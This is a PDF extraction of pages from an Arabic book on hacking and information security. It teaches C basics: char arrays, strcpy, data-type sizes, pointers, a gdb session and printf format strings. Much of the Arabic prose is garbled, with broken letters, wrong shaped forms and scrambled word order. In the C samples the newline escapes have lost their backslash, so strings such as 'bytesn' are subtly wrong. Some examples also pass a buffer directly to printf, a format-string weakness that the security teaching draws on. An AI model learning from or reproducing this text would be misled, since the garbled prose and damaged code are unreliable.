    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [39] reader@hacking:~/booksrc $ gcc -o char_array char_array.c reader@hacking:~/booksrc $ ./char_array Hello, world! reader@hacking:~/booksrc $ ..!‫جيد‬ ‫بسيط‬ ‫مالحظة‬ ‫لدينا‬ ‫ة‬ ‫بحجز‬ ‫منا‬ُ‫ق‬ ‫لقد‬ .. buffer ‫ل‬ ‫تتسع‬ ‫مساحته‬ 20 ‫ختصيص‬ ‫تم‬ ‫أنه‬ ‫أي‬ ،‫حرف‬ 20 bytes ‫ننا‬‫لك‬ .‫لنا‬ ‫ققط‬ ‫مألنا‬ ( 12 bytes ) ،!‫منهم‬ ً‫ا‬‫أيض‬ ‫كان‬ ‫حرف‬ ‫آطر‬ ( 0 ) ‫عليه‬ ‫طلق‬ُ‫ي‬.. “null byte” ‫ال‬ ‫إلطبار‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬‫و‬ functions ‫ال‬ ‫ذذه‬ ‫مع‬ ‫تتعامل‬ ‫التي‬ array ‫ال‬ ‫ذذا‬ ‫ظهور‬ ‫عند‬ ‫القراءة‬ ‫عن‬ ‫تتوقف‬ ‫بأن‬ null byte ‫ال‬ ‫باقي‬ ‫لمهال‬ ‫ويتم‬ buffer ‫وكأنه‬ .‫موجود‬ ‫غري‬ ‫الطريقة‬ ‫ِبذه‬ ‫حرف‬ ‫ُل‬‫ك‬ ‫أكتب‬ ‫أن‬ ‫يب‬ ‫ض‬َ َ ‫فرت‬ُ‫ي‬ ‫ذل‬ ‫ولكن‬ َ‫س‬‫البائ‬ ‫ة‬ ‫بإدطال‬ ‫تي‬َ‫ب‬‫غ‬َ‫ر‬ ‫ند‬‫ع‬ string ‫؟‬ ‫سنستخدم‬ ،!‫ال‬ ‫بالطبع‬ Library ‫ى‬‫ُسم‬‫ت‬ string.h :‫ثال‬‫م‬ ‫ب‬‫َرض‬‫ن‬ ‫عنا‬َ‫د‬ ،‫األعامل‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫نا‬َ‫ل‬ ‫َقوم‬‫ت‬ َ ‫س‬ َ‫ي‬‫وذ‬ ‫ال‬ ‫أحد‬ ‫من‬ ‫نطلب‬ ‫ثم‬ ،‫ُريد‬‫ن‬ ‫التي‬ ‫ل‬َ‫م‬ُ‫جل‬‫ا‬ ‫ُب‬‫ت‬‫نك‬ ‫سوف‬ functions ‫ال‬ ‫مع‬ ‫للتعامل‬ ‫ت‬ َ ‫ص‬ ِّ ‫ص‬ ُ ‫ط‬ ‫التي‬ strings ‫ال‬ ‫أو‬ Arrays ‫ك‬ ‫ما‬ ‫بنسخ‬ ‫ال‬ ‫داطل‬ ‫ووضعه‬ ‫تبناه‬ buffer ‫ال‬ ‫ذذه‬ ‫ب‬ِّ‫ر‬َ‫ُج‬‫ن‬ ‫دعنا‬ ، function ‫الرائع‬ ‫ة‬ ً‫ا‬‫حالي‬ ‫أحد‬ ‫يستخدمها‬ ‫ال‬ ‫التي‬ ُ‫ه‬‫ألن‬ ، ُ‫ي‬ ‫بذلك‬ َ‫ع‬ ِّ‫ر‬ ‫ض‬ ‫برناجمه‬ ‫ال‬ ‫هلجوم‬ Buffer overflow ‫بساط‬ ‫بكل‬ ‫ة‬ !  .. ‫لهنا‬ strcpy( ) .. ‫بالنسخ‬ ‫تقوم‬ ‫أهنا‬ ‫ظ‬‫الح‬ :‫كالتايل‬ strcpy (destination, source) ‫التا‬ ‫الكود‬ ‫يقوم‬ ‫العبارة‬ ‫بنسخ‬ ‫يل‬ Hello, world! ‫ال‬ ‫لىل‬ buffer ‫ى‬‫سم‬ُ‫مل‬‫ا‬ str_a .‫طباعته‬ ‫م‬ُ‫ث‬ #include <stdio.h> #include <string.h> int main() { char str_a[20]; strcpy (str_a, "Hello, world!n"); printf (str_a); }
  • 40.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [40] Signed and Unsigned ‫ال‬ ‫عن‬ ‫نتحدث‬ ‫عندما‬ numerical values ‫ال‬ ‫يف‬ ‫ختزينها‬ ‫يتم‬ ‫التي‬ ‫األعداد‬ ‫نعني‬ ‫قنحن‬ memory ‫الثنائي‬ ‫بالنظام‬ ، ‫تكون‬ ‫أن‬ ‫لما‬ ‫وذي‬ Signed ‫(موجب‬ ‫أي‬ ‫ة‬ ‫أو‬ ،)‫سالبة‬ ‫أو‬ Unsigned ‫(موجب‬ ‫أي‬ ‫ة‬ .)‫ققط‬ :‫كالتايل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫بتعريف‬ ‫نقوم‬ “unsigned int” ‫ساح‬‫بامل‬ ‫ُّم‬‫ك‬َ‫َح‬‫ت‬‫ال‬ ‫مكننا‬ُ‫ي‬ ً‫ا‬‫أيض‬ ، ‫ة‬ َ ‫صص‬َ‫خ‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫ذا‬‫هل‬ Numerical variable ‫بالزياد‬ ً‫ء‬‫سوا‬ ‫ة‬ ‫ُقصان‬‫ن‬‫بال‬ ‫أو‬ ‫بإضاقة‬ ‫وذلك‬ short or long .‫بله‬َ‫ق‬ ‫توجد‬ function ‫ال‬ ‫لغة‬ ‫يف‬ C ‫تسمى‬ sizeof( ) .. ‫أي‬ ‫مساحة‬ ‫حتديد‬ ‫وظيفتها‬ data type .‫نريده‬ ‫ال‬ ‫ذذه‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬ function ‫هم‬ُ‫مل‬‫ا‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫بعض‬ ‫مساحة‬ ‫عىل‬ ‫ف‬‫نتعر‬ ‫كي‬ ‫ة‬ : #include <stdio.h> int main() { printf("The 'int' data type istt %d bytesn", sizeof(int)); printf("The 'unsigned int' data type ist %d bytesn", sizeof(unsigned int)); printf("The 'short int' data type ist %d bytesn", sizeof(short int)); printf("The 'long int' data type ist %d bytesn", sizeof(long int)); printf("The 'long long int' data type is %d bytesn", sizeof(long long int)); printf("The 'float' data type ist %d bytesn", sizeof(float)); printf("The 'char' data type istt %d bytesn", sizeof(char)); } ‫استخدمنا‬ ‫أننا‬ ‫معي‬ ‫الحظ‬ printf( ) ‫الشاش‬ ‫عىل‬ ‫ما‬ ‫يشء‬ ‫بطباعة‬ ‫لتقوم‬ ‫ة‬ :
  • 41.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [41] ‫بال‬ ‫يسمى‬ ‫ما‬ ‫استخدمنا‬ ‫لقد‬ format specifier ‫وذي‬ %d :‫ييل‬ ‫كام‬ ‫العرض‬ ‫بعملية‬ ‫لتقوم‬ ‫ال‬ ‫مساحة‬ ‫بعرض‬ ‫الكود‬ ‫ذذا‬ ‫سيقوم‬ data types ‫ال‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫له‬ ‫بإدطاهلا‬ ‫قمنا‬ ‫تي‬ . reader@hacking:~/booksrc $ gcc datatype_sizes.c reader@hacking:~/booksrc $ ./a.out The 'int' data type is 4 bytes The 'unsigned int' data type is 4 bytes The 'short int' data type is 2 bytes The 'long int' data type is 4 bytes The 'long long int' data type is 8 bytes The 'float' data type is 4 bytes The 'char' data type is 1 bytes reader@hacking:~/booksrc $ Pointers ‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ ( EIP register ) ‫ن‬َ‫ع‬ ‫بارة‬‫ع‬ َ‫ي‬‫ذ‬ pointer ‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬ current instruction ‫وذلك‬ ‫الربنامج‬ ‫ل‬َ‫م‬َ‫ع‬ ‫أثناء‬ ‫ال‬ ‫عىل‬ ‫الحتوائها‬ memory address ‫ال‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫اخلاص‬ instruction . ‫ال‬ َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫أثناء‬ memory ‫التي‬ ‫للبيانات‬ ‫ّسخ‬‫ن‬‫ال‬ ‫ليات‬َ‫م‬َ‫ع‬‫ل‬ ‫باستمرار‬ ‫َحتاج‬‫ن‬ ‫ال‬ ‫بواسطة‬ ‫استخدامها‬ ‫م‬‫ت‬َ‫ي‬ functions ، ‫ال‬ ‫داطل‬ ‫البيانات‬ ‫نسخ‬ ‫تكرار‬ ‫ة‬َ‫م‬‫ك‬‫احل‬ َ‫ن‬‫م‬ ‫قليس‬ ‫وبالتايل‬ memory ‫لكل‬ function ‫حجز‬ ‫يتطلب‬ ‫ألنه‬ ،‫نستدعيها‬ ‫ال‬ ‫مساحة‬ destination ‫ال‬ ‫نسخ‬ ‫سيتم‬ ‫(التي‬ data ‫ال‬ ‫يف‬ )‫لليها‬ memory ‫األمر‬ ‫كون‬َ‫ي‬ َ ‫س‬ .!‫ّسخ‬‫ن‬‫ال‬ ‫لية‬َ‫م‬َ‫ع‬‫ب‬ ‫البدء‬ ‫قبل‬ ‫لل‬ ً‫ا‬‫ك‬‫هل‬ُ‫م‬ memory .!‫هلا‬ ً‫ا‬‫ومستهلك‬ ‫ال‬ ‫استخدام‬ ‫مكننا‬ُ‫ي‬ ‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬ pointer ّ‫ر‬ ُ‫ح‬ ‫ُل‬‫ك‬‫ب‬ ‫به‬ ‫لنتحرك‬ ‫ي‬ ‫ة‬ ‫داطل‬ ‫ال‬ memory ‫اإلشار‬ ‫طريق‬ ‫عن‬ ‫ة‬ ‫لىل‬ ‫ال‬ ‫عناوين‬ blocks . We use pointers to point to the address of the beginning of that block of memory. Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name.
  • 42.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [42] :‫مثال‬ ‫نأطذ‬ ‫دعنا‬ #include <stdio.h> #include <string.h> int main() { char str_a[20]; // A 20-element character array char *pointer; // A pointer, meant for a character array char *pointer2; // another one strcpy(str_a, "Hello, world!n"); pointer = str_a; // Set the first pointer to the start of the array. printf(pointer); pointer2 = pointer + 2; // Set the second one 2 bytes further in. printf(pointer2); // Print it. strcpy(pointer2, "y you guys!n"); // Copy into that spot. printf(pointer); // Print again. } ‫ماييل‬ :‫الكود‬ ‫ذذا‬ ‫نتائج‬ reader@hacking:~/booksrc $ gcc -o pointer pointer.c reader@hacking:~/booksrc $ ./pointer Hello, world! llo, world! Hey you guys! reader@hacking:~/booksrc $
  • 43.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [43] ‫َسخ‬‫ن‬‫ب‬ ‫منا‬ُ‫ق‬ “Hello, world!” ‫ل‬‫داط‬ ‫عناذا‬ َ ‫ض‬َ‫و‬َ‫و‬ str_a ، ‫لنا‬َ‫ع‬ َ‫ج‬ ‫م‬ُ‫ث‬ pointer َ‫ب‬ ‫لليها‬ ‫شري‬ُ‫ي‬ ‫قوق‬ ‫َعريفه‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫أن‬ ‫عد‬ ‫أنه‬ ‫عىل‬ “char pointer points to char array” ، ‫علنا‬ َ‫ج‬ ‫م‬ُ‫ث‬ pointer2 ‫لىل‬ ‫شري‬ُ‫ي‬ (pointer + 2bytes) ‫مقدار‬ ‫سيقفز‬ ‫أنه‬ ‫بمعنى‬ ‫ليتجاذل‬ ‫حرقني‬ He ، ‫استخدام‬ ‫وعند‬ printf( ) ‫ال‬ ‫ذذا‬ ‫عرض‬‫ل‬ pointer2 ‫لنا‬ ‫سيظهر‬ “llo, world!” . ‫ب‬ ‫منا‬ُ‫ق‬ ‫ثم‬ ‫نسخ‬ َ‫ي‬‫ذ‬ ‫طرى‬ُ‫أ‬ ‫باره‬‫ع‬ “y you guys!” ‫ال‬ ‫شري‬ُ‫ي‬ ُ ‫حيث‬ ‫ووضعناذا‬ ، pointer2 . ‫ال‬ ‫ذذه‬ ‫يف‬ ‫َعديل‬‫ت‬ ‫ث‬ُ‫حد‬َ‫ي‬ َ ‫س‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫ذذا‬ String ‫استبدال‬ ‫سيتم‬ ‫بأن‬ “llo, world!” ‫بالعبارة‬ “y you guys!” . ‫و‬ ‫لكن‬ ‫شري‬ُ‫ي‬ ‫أين‬ ‫ال‬ ‫ذذا‬ pointer2 .. ‫؟‬ ‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫لن‬ byte ‫ال‬ ‫يف‬ ‫الثالث‬ " str_a " . ‫أن‬ ‫تذكر‬ pointer ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬ " str_a ،" ‫أول‬ ‫َركنا‬‫ت‬ ‫نا‬ُ‫ذ‬ ُ‫َحن‬‫ن‬‫و‬ 2 bytes ‫وذم‬ ،‫َعديل‬‫ت‬ َ‫دون‬ ‫ا‬‫ِب‬ “He” ‫ال‬ ‫من‬ ‫ستبدأ‬ ،!‫ديدة‬ َ‫ج‬ ‫بارة‬‫ع‬ ‫َسخنا‬‫ن‬ ‫م‬ُ‫ث‬ ، byte ‫الثالث‬ ‫ال‬ ‫ذذه‬ ‫يف‬ character array ‫ال‬ ‫من‬ ‫طلبنا‬ ً‫ا‬‫وأطري‬ ، printf( ) ‫ض‬‫ر‬َ‫ع‬ ‫ال‬ array ‫ذذا‬ ‫لليها‬ ‫يشري‬ ‫التي‬ ‫ال‬ pointer ‫ق‬ ،‫باستدعاؤه‬ ‫النتيجة‬ ‫تكون‬ “Hey you guys!” . :‫صغرية‬ ‫ة‬َ‫ظ‬ َ‫الح‬ُ‫م‬ ‫ال‬ ‫أن‬ ‫كر‬َ‫َذ‬‫ت‬ integer ‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫كان‬َ‫م‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫ذاته‬ memory ، ‫ال‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ول‬ address ‫ال‬ ‫داطل‬ ‫ه‬‫ب‬ ‫اخلاص‬ memory ‫ذو‬ 0xbffff8a ‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ pointer ‫ال‬ ‫ذذ‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫لناه‬َ‫ع‬ َ‫وج‬ int ‫ال‬ ‫ذذا‬ ، pointer ‫باستخدام‬ ‫نستدعيه‬ ‫عندما‬ ‫الدالة‬ printf( ) ‫ال‬ ‫عنوان‬ ‫لنا‬ ‫سيعرض‬ memory ‫ال‬ ‫ذذا‬ ‫يقع‬ ‫الذي‬ int ‫وذو‬ ،‫بداطله‬ 0xbffff8a ‫ذذا‬ ‫طباعة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ . ‫العنوان‬ (the memory address of a variable) !‫أطرى‬ ‫بطريقة‬ ً‫ا‬‫أيض‬ : ‫باستخدام‬ “the address-of operator” ‫بعالمة‬ ُ‫ه‬‫ل‬ ‫ز‬َ‫م‬‫ر‬ُ‫ي‬ (&) . ‫استخدام‬ َ‫ند‬‫قع‬ &int ‫ال‬ ‫داطل‬ printf( ) ‫نا‬َ‫ل‬ ‫عطي‬ُ‫ي‬ َ ‫س‬ 0xbffff8a .!ً‫ا‬‫أيض‬
  • 44.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [44] ..‫واآلن‬ ‫سيكون‬ ‫كيف‬ ‫ال‬ return ‫استخدام‬ ‫عند‬ (&) ‫املتغريات؟؟‬ ‫أحد‬ ‫مع‬ : . The address of that variable, instead of the variable itself ‫ماييل‬ ‫ب‬ ‫نقوم‬ ‫تغري‬ُ‫مل‬ ‫مثال‬ ‫ال‬ ‫طباعة‬ Address ‫ال‬ ‫بصيغة‬ ‫به‬ ‫اخلاص‬ Hex ‫ال‬ ‫وباستخدام‬ “& operator” int A = 7; printf("variable A is at address: %08xn", &A); ‫ال‬ ‫ذذا‬ ‫نا‬‫ع‬ َ ‫ض‬َ‫و‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬ " & " ‫ال‬ َ ‫ل‬‫ب‬َ‫ق‬ pointer ‫؟‬.. ‫ال‬ ‫ض‬‫ر‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ُ‫ه‬‫أن‬ ‫ام‬‫ب‬ " address-of ،" ‫ال‬ ‫ض‬‫ر‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ َ ‫س‬ “Address-of that pointer” ‫ال‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ address ‫ا‬ ‫لذي‬ ‫ال‬ ‫ذذا‬ ‫لليه‬ ‫شري‬ُ‫ي‬ pointer .! ‫اإلشكال‬ ‫ذذا‬ ‫بتفكيك‬ ‫لنقوم‬ ‫ذيا‬ ‫التايل‬ ‫املثال‬ ‫يف‬ : ‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ ‫كود‬ ‫ماييل‬ debug ‫له‬ ‫باستخدام‬ GDB Debugger reader@hacking:~/booksrc $ gcc -g addressof.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 #include <stdio.h> 2 3 int main() { 4 int int_var = 5; 5 int *int_ptr; 6 7 int_ptr = &int_var; // Put the address of int_var into int_ptr.
  • 45.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [45] 8 } (gdb) break 8 Breakpoint 1 at 0x8048361: file addressof.c, line 8. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at addressof.c:8 8 } ‫المتغير‬ ‫محتوى‬ ‫أو‬ ‫قيمة‬ ‫عرض‬ ‫نطلب‬ ‫هنا‬ (gdb) print int_var $1 = 5 ‫ه‬ ‫ع‬ ‫طلبنا‬ ‫نا‬ ‫رض‬ ‫ال‬ ‫عنوان‬ block of memory ‫قيمته‬ ‫وليس‬ ‫المتغير‬ ‫هذا‬ ‫يحمل‬ ‫الذي‬ (gdb) print &int_var $2 = (int *) 0xbffff804 ‫ه‬ ‫عرض‬ ‫طلبنا‬ ‫نا‬ ‫حويه‬‫ماي‬ ‫هذ‬ ‫ا‬ ‫ال‬ pointer ( ‫وهو‬ ‫مكان‬ ‫إلي‬ ‫شير‬‫ي‬ ‫الذي‬ ‫تغير‬‫الم‬ )‫ه‬ (gdb) print int_ptr $3 = (int *) 0xbffff804 ‫وه‬ ‫ط‬ ‫نا‬ ‫ع‬ ‫لبنا‬ ‫رض‬ ‫مكان‬ ‫ال‬ ‫هذا‬ pointer ‫ذاته‬ ‫حد‬ ‫في‬ ‫الميموري‬ ‫داخل‬ ! (gdb) print &int_ptr $4 = (int **) 0xbffff800 (gdb) ‫ال‬ ‫عن‬ ‫احلديث‬ ‫سنعاود‬ pointers ‫ال‬ ‫ققرة‬ ‫يف‬ Typecasting .. Format Strings ‫أن‬ ‫نعلم‬ ‫كام‬ printf( ) ‫الشاش‬ ‫عىل‬ ‫ُريده‬‫ن‬‫ما‬ ‫لطباعة‬ ‫استخدامها‬ ‫يتم‬ ‫ة‬ ‫ال‬ ‫لدراج‬ ‫مكننا‬ُ‫ي‬َ‫ق‬ ،‫ا‬ ُ‫هل‬ ‫أطرى‬ ‫استخدامات‬ ‫ناك‬ُ‫وذ‬ ، format strings ‫تلف‬ ُ ‫ُم‬ ‫يغ‬‫ص‬‫ب‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫ج‬‫َتائ‬‫ن‬ ‫بإظاذر‬ ‫تقوم‬‫ل‬ ‫ها‬‫ل‬‫بداط‬ ‫ة‬ . “This function can use format strings to print variables in many different format” ‫ماييل‬ .‫أشكاهلا‬ ‫بعض‬
  • 46.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [46] Parameter Output Type %d Decimal %u Unsigned decimal %x Hexadecimal %s String %n Number of bytes written ‫م‬ُ‫ذ‬ ‫اجلدول‬ ‫يف‬ ‫ثالثة‬ ‫أول‬ format parameters ‫ال‬ ‫عرض‬‫ب‬ ‫تقوم‬ " data " .‫احلاجة‬ ‫حسب‬ ‫تلفة‬ ُ ‫ُم‬ ‫غ‬َ‫ي‬‫ص‬‫ب‬ ‫ال‬ ‫من‬ ‫أطرى‬ ‫أنواع‬ ‫توجد‬ format strings ‫ض‬‫ر‬َ‫ع‬‫ل‬ ‫استخدامها‬ ‫ننا‬‫مك‬ُ‫ي‬ data ‫وال‬ " address-of-data " ‫نفس‬ ‫يف‬ .‫الوقت‬ ‫التايل‬ ‫ثال‬‫امل‬ ‫يف‬ ‫س‬ ‫ال‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ ( %s ) ‫ا‬ ‫طباعة‬‫ل‬ ‫ل‬ string ‫حتى‬ ‫ال‬ ‫لىل‬ ‫ل‬‫َص‬‫ت‬ null character ، ‫م‬ُ‫ث‬ ‫نقوم‬ ‫باستخدام‬ ‫ة‬َ‫غ‬‫ي‬‫الص‬ (%x) ‫ال‬ ‫ة‬َ‫باع‬‫ط‬‫ل‬ " address-of that string in the memory " . ‫س‬ ً‫ا‬‫أيض‬ ‫نست‬ ‫خدم‬ (%08x) ‫ال‬ ‫مع‬ “dereferencing operator” ‫وذو‬ (&) ‫رض‬َ‫ع‬‫ل‬ address-of ‫نوعه‬ ‫تغري‬ُ‫مل‬ integer ‫يف‬ .‫الكود‬ ‫يف‬ ‫سطر‬ ‫آطر‬ ‫ولكن‬ ‫الصيغة‬ ‫تعني‬ ‫ماذا‬ (%08x) ‫؟‬ . ‫يل‬ ‫اطبع‬ ‫تعني‬ 8 bytes ‫بصيغة‬ hexadecimal . ‫الرقم‬ ‫بل‬َ‫ق‬ ‫صفر‬ ‫نا‬‫ع‬ َ ‫ض‬َ‫و‬ ‫وملاذا‬ 8 (%08x) .. ‫؟‬ ُ‫أ‬‫س‬ ‫ك‬ُ‫طرب‬ ‫عقب‬ ‫املثال‬ ‫التايل‬ :
  • 47.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [47] #include <stdio.h> int main() { char string[10]; int A = -73; unsigned int B = 31337; strcpy(string, "sample"); // Example of printing with different format string printf("[A] Dec: %d, Hex: %x, Unsigned: %un", A, A, A); printf("[B] Dec: %d, Hex: %x, Unsigned: %un", B, B, B); printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'n", B, B, B); printf("[string] %s Address %08xn", string, string); // Example of unary address operator (dereferencing) and a %x format string printf("variable A is at address: %08xn", &A); } ‫ل‬ :‫الرائع‬ ‫الكود‬ ‫ذذا‬ ‫نتائج‬ ‫د‬‫ُشاذ‬‫ن‬ reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c reader@hacking:~/booksrc $ ./fmt_strings [A] Dec: -73, Hex: ffffffb7, Unsigned: 4294967223 [B] Dec: 31337, Hex: 7a69, Unsigned: 31337 [field width on B] 3: ‘31337’, 10: ‘ 31337’, ‘00031337’ [string] sample Address bffff870 variable A is at address: bffff86c reader@hacking:~/booksrc $ ‫حيدث‬ ‫الذي‬ ‫ماذذا‬ !  .. ‫تغري‬ُ‫مل‬‫ا‬ ‫ض‬‫ر‬َ‫ع‬ ‫ُص‬ َ ‫خت‬ ‫كانت‬ ‫نتائج‬ ‫أول‬ A ‫صيغ‬ ‫بثالث‬ ..
  • 48.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [48] ‫ري‬َ‫غ‬‫ت‬ُ‫مل‬‫ا‬ ‫رض‬َ‫ع‬‫ب‬ ‫الثاين‬ ‫السطر‬ ‫يف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬ B ‫غ‬َ‫ي‬‫ص‬ ‫الثة‬َ‫ث‬‫ب‬ ً‫ا‬‫أيض‬ .. ‫أن‬ ‫ر‬‫َذك‬‫ت‬‫و‬ Unsigned ‫سالب‬ ‫م‬َ‫ي‬‫ق‬ ‫ض‬‫ر‬‫َع‬‫ت‬ ‫ال‬ ‫ة‬ .! . ‫ال‬ ‫وذو‬ ‫الثالث‬ ‫للسطر‬ ‫نأيت‬ ‫م‬ُ‫ث‬ " field width on B :" ‫ال‬ ‫ب‬‫جان‬‫ب‬ ‫رقم‬ ‫ُب‬‫ت‬‫نك‬ ‫ما‬َ‫ند‬‫ع‬ ‫نا‬ُ‫ذ‬ %u ‫ختص‬ ‫د‬‫نقص‬ ُ‫قنحن‬ ،‫للمخرجات‬ ‫املساحة‬ ‫من‬ ‫أدنى‬ ‫حد‬ ‫يص‬ ‫وضع‬ ً‫ال‬‫قمث‬ %3u ‫ا‬ ‫مساحة‬ ‫ل‬‫َق‬‫ت‬ ‫أال‬ ‫ب‬ َ ‫جي‬ ..‫ِبا‬ ‫نقصد‬ ‫عن‬ ‫خرجات‬ُ‫مل‬ 3 bytes .. ‫ك‬‫نمتل‬ ُ‫نحن‬ ..‫نا‬ُ‫ذ‬ ‫حالتنا‬ ‫يف‬ ‫ن‬‫ولك‬ 5 bytes .. ‫سنقوم‬ ً‫ا‬‫لذ‬ ‫بعمل‬ expand ‫ألن‬ ..‫للمساحة‬ !‫ققط‬ ‫األدنى‬ ‫احلد‬ ‫لنا‬ ‫حدد‬ ‫الرشط‬ .. ُ‫ه‬‫ن‬‫م‬ ‫نا‬‫ب‬َ‫ل‬َ‫ط‬ ‫م‬ُ‫ث‬ ‫مساحة‬ ‫يف‬ ‫أدنى‬ ‫بحد‬ ‫الناتج‬ ‫لظهار‬ 10 ، ‫ب‬ ‫املساحة‬ ‫باقي‬ ‫ملئ‬‫ب‬ ‫سيقوم‬ ‫نا‬ُ‫ذ‬ spaces ‫تالحظ‬ ‫كام‬ ‘ 31337’ ‫ب‬ ‫أنه‬ !‫أرقام‬ ‫سة‬ َ ‫َخ‬ ‫م‬ُ‫ث‬ ‫ساقات‬َ‫م‬ ‫َخس‬ ‫نا‬َ‫ل‬ َ‫ع‬ َ ‫ض‬َ‫و‬ . ‫له‬ ‫حددنا‬ ‫الثالث‬ ‫الطلب‬ ‫يف‬ %08x ‫رقم‬ ‫وضعنا‬ ‫أننا‬ ‫بام‬ zero ‫ال‬ ‫قبل‬ 8 ‫ل‬َ‫م‬َ‫ع‬ ‫ُريد‬‫ن‬ ‫قنحن‬ padding ‫م‬َ‫ي‬‫ق‬‫ب‬ 0 ‫لئ‬َ‫مل‬ ‫ققط‬.. ‫ال‬ ‫باقي‬ 8 bytes ‫بال‬ ‫يمة‬‫الق‬ ‫ض‬‫ر‬‫َع‬‫ن‬ ‫ألننا‬ ‫وذلك‬ ‫بأصفار‬ Hex .! :‫َرى‬‫ت‬ ‫َام‬‫ك‬ ‫جات‬ َ‫خر‬ُ‫مل‬‫ا‬ ‫قتكون‬ ‘00031337’ ‫لقد‬ ‫ال‬ ‫م‬ُ‫ث‬ ‫أصفار‬ ‫ثالثة‬ ‫نا‬َ‫ل‬ َ‫ع‬ َ ‫ض‬َ‫و‬ ‫ال‬ ‫ل‬‫َم‬‫ت‬‫َك‬‫ت‬‫ل‬ ‫أرقام‬ ‫ة‬ َ ‫س‬ َ ‫َخ‬ 8 bytes . ‫توجد‬ function ‫ال‬ ‫لة‬‫عائ‬‫ل‬ ‫تنتمي‬ ‫أطرى‬ Standard Input/Output functions ،‫عليها‬ ‫ف‬ ّ‫َعر‬‫ت‬َ‫ت‬ ‫أن‬ ‫د‬َ‫َو‬‫ن‬ ‫لهنا‬ Scanf( ) ، ‫و‬ ‫ه‬‫ب‬‫ُش‬‫ت‬ printf( ) ‫الوظيف‬ ‫يف‬ ‫ة‬ ‫بينام‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬ ‫لال‬ ‫تتع‬ .!‫خرجات‬ُ‫مل‬‫ا‬ ‫مع‬ ‫األطرى‬ ‫امل‬ ً‫ا‬‫أيض‬ ‫طصائصها‬ ‫من‬ ‫ال‬ ‫مع‬ ‫تتعامل‬ ‫أهنا‬ “address of variables” ‫ال‬ ‫عن‬ ً‫ا‬‫وض‬‫ع‬ variables ‫َعريف‬‫ت‬‫ب‬ ‫ستقوم‬ ‫أنك‬ ‫بمعنى‬ ،‫ذاهتا‬ ‫َغري‬‫ت‬ُ‫مل‬‫ا‬ int var ‫لىل‬ ‫بإدطاله‬ ‫رغبتك‬ ‫ند‬‫ع‬ ‫م‬ُ‫ث‬ ،ً‫ال‬‫مث‬ scanf( ) ‫كالتايل‬ ُ‫ه‬‫ل‬‫ُدط‬‫ت‬‫س‬ " &var " . ‫عىل‬ ‫ثال‬‫م‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬ ‫ذلك‬ :
  • 49.
